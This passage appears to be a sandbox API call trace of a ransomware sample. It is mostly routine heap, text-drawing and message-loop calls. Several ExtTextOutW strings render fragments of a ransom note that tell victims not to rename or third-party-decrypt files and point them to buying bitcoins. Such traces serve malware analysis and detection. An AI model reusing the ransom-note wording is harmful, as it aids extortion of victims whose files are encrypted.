[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.284] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.284] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.284] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.284] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.284] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b640 | out: hHeap=0x450000) returned 1
[0111.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.285] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb328
[0111.286] LsSetDoc () returned 0x0
[0111.286] LsCreateLine () returned 0x0
[0111.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.286] LsQueryLineDup () returned 0x0
[0111.286] LsQueryLineCpPpoint () returned 0x0
[0111.286] LsDisplayLine () returned 0x0
[0111.286] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x18a002e
[0111.286] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.286] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.286] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.286] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.286] _CIsqrt () returned 0x3f1a027f
[0111.286] _CIsqrt () returned 0x3f1a027f
[0111.286] _CIatan2 () returned 0x20
[0111.286] _CIatan2 () returned 0x20
[0111.286] ExtTextOutA (hdc=0x90101e7, x=46, y=-1, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.286] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.286] LsDestroyLine () returned 0x0
[0111.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.287] LsSetDoc () returned 0x0
[0111.287] LsCreateLine () returned 0x0
[0111.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.288] LsDisplayLine () returned 0x0
[0111.288] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.288] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.288] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.288] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.288] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.288] _CIatan2 () returned 0x20
[0111.288] _CIatan2 () returned 0x20
[0111.288] ExtTextOutW (hdc=0x90101e7, x=62, y=-1, options=0x4, lprect=0x1c8498, lpString="Do not rename encrypted files tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1d, lpDx=0x1c84d0) returned 1
[0111.288] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.288] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.288] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.288] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.288] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.288] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.288] _CIatan2 () returned 0x20
[0111.288] _CIatan2 () returned 0x20
[0111.288] ExtTextOutW (hdc=0x90101e7, x=260, y=-1, options=0x4, lprect=0x1c8498, lpString=" tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.288] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.288] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.288] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.289] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.289] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.289] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.289] _CIatan2 () returned 0x20
[0111.289] _CIatan2 () returned 0x20
[0111.289] ExtTextOutW (hdc=0x90101e7, x=265, y=-1, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.289] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.289] LsDestroyLine () returned 0x0
[0111.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.289] LsSetDoc () returned 0x0
[0111.289] LsCreateLine () returned 0x0
[0111.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.289] LsQueryLineDup () returned 0x0
[0111.289] LsQueryLineCpPpoint () returned 0x0
[0111.289] LsDisplayLine () returned 0x0
[0111.289] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0111.289] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.289] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.289] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.289] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.290] _CIsqrt () returned 0x3f1a027f
[0111.290] _CIsqrt () returned 0x3f1a027f
[0111.290] _CIatan2 () returned 0x20
[0111.290] _CIatan2 () returned 0x20
[0111.290] ExtTextOutA (hdc=0x90101e7, x=46, y=24, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0111.290] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.290] LsDestroyLine () returned 0x0
[0111.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.290] LsSetDoc () returned 0x0
[0111.290] LsCreateLine () returned 0x0
[0111.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.291] LsDisplayLine () returned 0x0
[0111.291] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0111.291] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.291] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.291] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.291] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.291] _CIatan2 () returned 0x20
[0111.291] _CIatan2 () returned 0x20
[0111.291] ExtTextOutW (hdc=0x90101e7, x=62, y=24, options=0x4, lprect=0x1c8498, lpString="Do not try to decrypt your data using third party software, it may cause permanent data loss ns', and select the seller by payment method and price. decrypt all your files. ", c=0x5c, lpDx=0x1c84d0) returned 1
[0111.291] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.291] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.291] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.291] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.291] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.291] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.291] _CIatan2 () returned 0x20
[0111.291] _CIatan2 () returned 0x20
[0111.292] ExtTextOutW (hdc=0x90101e7, x=673, y=24, options=0x4, lprect=0x1c8498, lpString=" ns', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.292] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.292] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.292] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.292] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.292] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.292] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.292] _CIatan2 () returned 0x20
[0111.292] _CIatan2 () returned 0x20
[0111.292] ExtTextOutW (hdc=0x90101e7, x=678, y=24, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.292] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.292] LsDestroyLine () returned 0x0
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.292] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.292] LsDestroyContext () returned 0x0
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1068 | out: hHeap=0x450000) returned 1
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509c80 | out: hHeap=0x450000) returned 1
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501468 | out: hHeap=0x450000) returned 1
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501440 | out: hHeap=0x450000) returned 1
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0111.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503ee8 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501418 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013f0 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013c8 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e3f38 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd9a0 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd990 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd980 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd970 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493620 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503788 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4340 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4410 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e49b0 | out: hHeap=0x450000) returned 1
[0111.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e45a8 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4748 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4818 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497fd8 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500948 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509608 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5006f0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.294] BitBlt (hdc=0x1401007f, x=0, y=752, cx=1324, cy=10, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0111.294] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0111.294] GetStockObject (i=15) returned 0x188000b
[0111.294] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=1) returned 0x188000b
[0111.294] EndPaint (hWnd=0x1013a, lpPaint=0x1cf580) returned 1
[0111.294] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cf13c, cPoints=0x1 | out: lpPoints=0x1cf13c) returned 5242938
[0111.294] DeleteObject (ho=0x23040259) returned 1
[0111.294] GetCurrentThreadId () returned 0x4e0
[0111.294] GetCurrentThreadId () returned 0x4e0
[0111.295] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.295] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.295] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.295] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.295] KillTimer (hWnd=0x1013a, uIDEvent=0x1000) returned 1
[0111.295] GetCurrentThreadId () returned 0x4e0
[0111.295] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.424] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.424] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.424] GetCapture () returned 0x0
[0111.424] WindowFromPoint (Point=0x31f) returned 0x1013a
[0111.424] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.424] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0111.424] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0111.424] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0111.425] GetCurrentThreadId () returned 0x4e0
[0111.425] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.425] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.425] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.425] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.736] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.736] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.736] GetCapture () returned 0x0
[0111.736] WindowFromPoint (Point=0x31f) returned 0x1013a
[0111.737] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.737] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0111.737] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0111.737] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0111.737] GetCurrentThreadId () returned 0x4e0
[0111.737] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0112.048] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0112.048] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0112.048] GetCapture () returned 0x0
[0112.048] WindowFromPoint (Point=0x31f) returned 0x1013a
[0112.048] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0112.048] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0112.048] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0112.048] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0112.048] GetCurrentThreadId () returned 0x4e0
[0112.048] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0112.632] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0112.638] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0112.638] GetCapture () returned 0x0
[0112.638] WindowFromPoint (Point=0x31f) returned 0x1013a
[0112.638] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0112.638] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0112.638] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0112.638] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0112.638] GetCurrentThreadId () returned 0x4e0
[0112.638] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0112.672] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0112.672] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0112.672] GetCapture () returned 0x0
[0112.672] WindowFromPoint (Point=0x31f) returned 0x1013a
[0112.672] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0112.672] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0112.672] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0112.672] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0112.673] GetCurrentThreadId () returned 0x4e0
[0112.673] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0113.006] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0113.068] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0113.070] GetCapture () returned 0x0
[0113.070] WindowFromPoint (Point=0x31f) returned 0x1013a
[0113.072] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0113.072] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0113.072] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0113.073] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0113.073] GetCurrentThreadId () returned 0x4e0
[0113.077] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0113.457] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0113.457] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0113.457] GetCapture () returned 0x0
[0113.458] WindowFromPoint (Point=0x31f) returned 0x1013a
[0113.459] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0113.459] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0113.459] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0113.459] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0113.459] GetCurrentThreadId () returned 0x4e0
[0113.462] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0113.655] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0113.655] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0113.655] GetCapture () returned 0x0
[0113.655] WindowFromPoint (Point=0x31f) returned 0x1013a
[0113.655] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0113.655] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0113.655] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0113.655] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0113.655] GetCurrentThreadId () returned 0x4e0
[0113.655] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0113.936] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0113.936] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0113.936] GetCapture () returned 0x0
[0113.936] WindowFromPoint (Point=0x31f) returned 0x1013a
[0113.936] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0113.936] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0113.936] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0113.936] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0113.936] GetCurrentThreadId () returned 0x4e0
